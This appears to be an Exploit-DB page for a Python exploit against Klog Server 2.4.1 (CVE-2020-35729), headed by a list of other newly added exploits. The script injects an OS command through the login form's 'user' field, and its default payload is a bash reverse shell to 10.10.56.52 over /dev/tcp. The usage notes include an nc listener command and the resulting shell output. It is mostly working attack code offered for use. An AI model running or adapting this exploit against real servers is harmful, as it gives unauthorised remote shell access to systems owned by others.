2c7e8b1ddc
19 changes to exploits/shellcodes Intel(R) Matrix Storage Event Monitor x86 8.0.0.1039 - 'IAANTMON' Unquoted Service Path Fluentd TD-agent plugin 4.0.1 - Insecure Folder Permission IncomCMS 2.0 - Insecure File Upload House Rental and Property Listing 1.0 - Multiple Stored XSS Resumes Management and Job Application Website 1.0 - Authentication Bypass (Sql Injection) WordPress Plugin Stripe Payments 2.0.39 - 'AcceptStripePayments-settings[currency_code]' Stored XSS WordPress Plugin WP-Paginate 2.1.3 - 'preset' Stored XSS Online Movie Streaming 1.0 - Authentication Bypass Responsive ELearning System 1.0 - 'id' Sql Injection Baby Care System 1.0 - 'Post title' Stored XSS Responsive FileManager 9.13.4 - 'path' Path Traversal Zoom Meeting Connector 4.6.239.20200613 - Remote Root Exploit (Authenticated) HPE Edgeline Infrastructure Manager 1.0 - Multiple Remote Vulnerabilities Cassandra Web 0.5.0 - Remote File Read CSZ CMS 1.2.9 - Multiple Cross-Site Scripting Online Learning Management System 1.0 - RCE (Authenticated) Klog Server 2.4.1 - Command Injection (Unauthenticated) EgavilanMedia User Registration & Login System with Admin Panel 1.0 - Multiple Stored Cross-Site Scripting
97 lines
No EOL
3.3 KiB
Python
Executable file
97 lines
No EOL
3.3 KiB
Python
Executable file
# Exploit Title: Klog Server 2.4.1 - Command Injection (Unauthenticated)
|
|
# Date: 22.12.2020
|
|
# Exploit Author: b3kc4t (Mustafa GUNDOGDU)
|
|
# Vendor Homepage: https://www.klogserver.com/
|
|
# Version: 2.4.1
|
|
# Tested On: Ubuntu 18.04
|
|
# CVE: 2020-35729
|
|
# Description: https://github.com/mustgundogdu/Research/tree/main/KLOG_SERVER
|
|
|
|
"""
|
|
~ VULNERABILITY DETAILS ~
|
|
|
|
#
|
|
The Klog Server runs the injected os commands on the server , causing os command
|
|
injection vulnerability.
|
|
|
|
#
|
|
The following python code will inject os command payload and can be relaized reverse
|
|
shell connection.And you can be added payload except the default payload plugin.
|
|
|
|
##USAGE##
|
|
|
|
$sudo nc -nlvp 98
|
|
$sudo python klog_exploit.py --exploit --url https://10.10.56.51:443/actions/authenticate.php --payload "test\"$bash -i >& /dev/tcp/10.10.56.52/98 0>&1&\""
|
|
|
|
##OUTPUT##
|
|
|
|
bash-4.2$whoami
|
|
apache
|
|
bash-4.2$
|
|
|
|
"""
|
|
|
|
import requests
|
|
import argparse
|
|
from colorama import Fore, Back, Style, init
|
|
|
|
|
|
def main():
|
|
|
|
desc = "KLOG SERVER 2.4.1 EXPLOIT"
|
|
parser = argparse.ArgumentParser(description=desc)
|
|
option = parser.add_argument_group('[*]OPTIONS[*]')
|
|
parser.add_argument("--url", help=Fore.GREEN+"[*]TARGET URL ADDRESS[*]", required=False)
|
|
parser.add_argument("--payload",help=Fore.GREEN+"[*] TO ADD PAYLOAD [*]", type=str,required=False)
|
|
parser.add_argument("--exploit", help=Fore.GREEN+" ", action="store_true")
|
|
args = parser.parse_args()
|
|
|
|
if args.exploit:
|
|
|
|
if args.url:
|
|
url = args.url
|
|
|
|
if args.payload:
|
|
payload = args.payload
|
|
target_send_config(url, payload)
|
|
|
|
#default bash reverse shell payload
|
|
else:
|
|
payload = "test\"&bash -i >& /dev/tcp/10.10.56.52/88 0>&1&\""
|
|
target_send_config(url, payload)
|
|
|
|
else:
|
|
#default url (klog server init ip address)
|
|
url = "https://10.10.56.51:443/actions/authenticate.php"
|
|
|
|
if args.payload:
|
|
payload = args.payload
|
|
target_send_config(url, payload)
|
|
else:
|
|
payload = "test\"&bash -i >& /dev/tcp/10.10.56.52/88 0>&1&\""
|
|
target_send_config(url, payload)
|
|
|
|
|
|
def target_send_config(url, payload):
|
|
|
|
headers = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0",
|
|
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
|
|
"Accept-Language": "en-US,en;q=0.5",
|
|
"Accept-Encoding": "gzip, deflate",
|
|
"Content-Type": "application/x-www-form-urlencoded",
|
|
"Connection": "close",
|
|
"Upgrade-Insecure-Requests": "1"}
|
|
#injection place
|
|
data = {"user": payload,
|
|
"pswd": "test"}
|
|
|
|
try:
|
|
#post method send
|
|
requests.post(url, headers=headers, data=data, verify=False)
|
|
print(" ")
|
|
print(Fore.GREEN+" "+"[+] EXPLOIT SUCCESSFUL PAYLOAD IS SENT [+]")
|
|
except:
|
|
print(Fore.RED+"[-] EXPLOIT FAILED [-]")
|
|
|
|
if __name__ == '__main__':
|
|
main() |